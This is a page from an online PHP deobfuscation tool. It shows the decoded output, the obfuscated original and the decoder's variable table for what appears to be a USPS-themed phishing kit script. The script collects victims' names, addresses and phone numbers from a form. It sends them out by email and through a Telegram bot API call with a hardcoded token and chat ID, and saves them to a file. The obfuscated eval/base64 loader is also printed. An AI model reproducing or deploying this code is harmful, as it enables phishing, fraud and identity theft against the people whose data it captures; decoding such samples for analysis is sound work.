Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* This file is protected by copyright law and provided under license. Reverse engin..

Decoded Output download

echo '';
error_reporting(0);
session_start();
include "../../config.php";
$ip = getenv("REMOTE_ADDR");
$link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
if(
($_POST['fullname'] != "") AND ($_POST['add1'] != "") AND ($_POST['city'] != "") AND ($_POST['sstate'] != "") AND ($_POST['zipp'] != "") AND ($_POST['phonee'] != "") )
{
$_SESSION["name"]= $_POST['fullname'];
$hostname = gethostbyaddr($ip);
$msg = "[==========   USPS Scms priv8 (Info)   ===========]
";
$msg .= "|Full Name       : ".$_POST['fullname']."
";
$msg .= "|Adress      	 : ".$_POST['add1']."
";
$msg .= "|City            : ".$_POST['city']."
";
$msg .= "|State       	 : ".$_POST['sstate']."
";
$msg .= "|zip   	         : ".$_POST['zipp']."
";
$msg .= "|Phone           : ".$_POST['phonee']."
";
$msg .= "[========= $ip ========]
";
$send = $email;
$subject = " (".$_POST['fullname'].") USPS RZLT  $ip";
$headers = "From: [floritynardo **]<[email protected]>";
mail($send,$subject,$message,$headers);
file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=".urlencode($msg)."");
$api="5236622201:AAEplL_TxotFS1DnWkoUuYX6sfiApMAJs60";
$chatid="-1001670607472";
file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=".urlencode($msg)."");
$save=fopen("../../res.txt","a+");
fwrite($save,$message);
fclose($save);
include "send2.php";
}else{echo"error sending";}
;

Did this file decode correctly?

Original Code

<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x7a8;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTAwKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdhU0NEc0FObCswVlp1eWpua09LQi9JZTlnV3JHMmk0dzMxYjZtZFJ4djhxY29NejVIRVE3TFhoRnRKcFBZZlRVPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>gNTBf]@tq_0sfnuDSnuDSnuDX7il0w2RIHGNA6WK3x9XfNK/EA9XYxZC+x+btmBLfnusYHB7aHZb+x+bHmBLfnuDaHusYHVCOnBLYHuDaHusYv0sYHB7aHBLYHuC3mB7aHusYHB7aHZCOnB7aHB7aHuDa8ZCi1/Lys2LAjGCoHId8X4e8zrLfZkbf0WBdxIF0luRmLi7uEg6WMWA0ti61Eghfy46I+OIsFBA1vOxOV2ASWWdOInK2o0LACkLOAOmi+K/8ZBsXjBXSO/dy/IIW9eAdrge06W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1
base64_decode 3

Variables

$O000O0O00 True
$O0O000O00 fgets
$O0O000O0O fgetc
$O0O00OO00 fread
$OO00O0000 1960
$OO00O00O0 echo ''; error_reporting(0); session_start(); include "../....
$OOO000000 fg6sbehpra4co_tnd
$OOO00000O strtr
$OOO0000O0 base64_decode
$OOO000O00 fopen
$OOO0O0O00 index.php

Stats

MD5 1542299a8c449bcd7a2a54d8ae9ca961
Eval Count 3
Decode Time 126 ms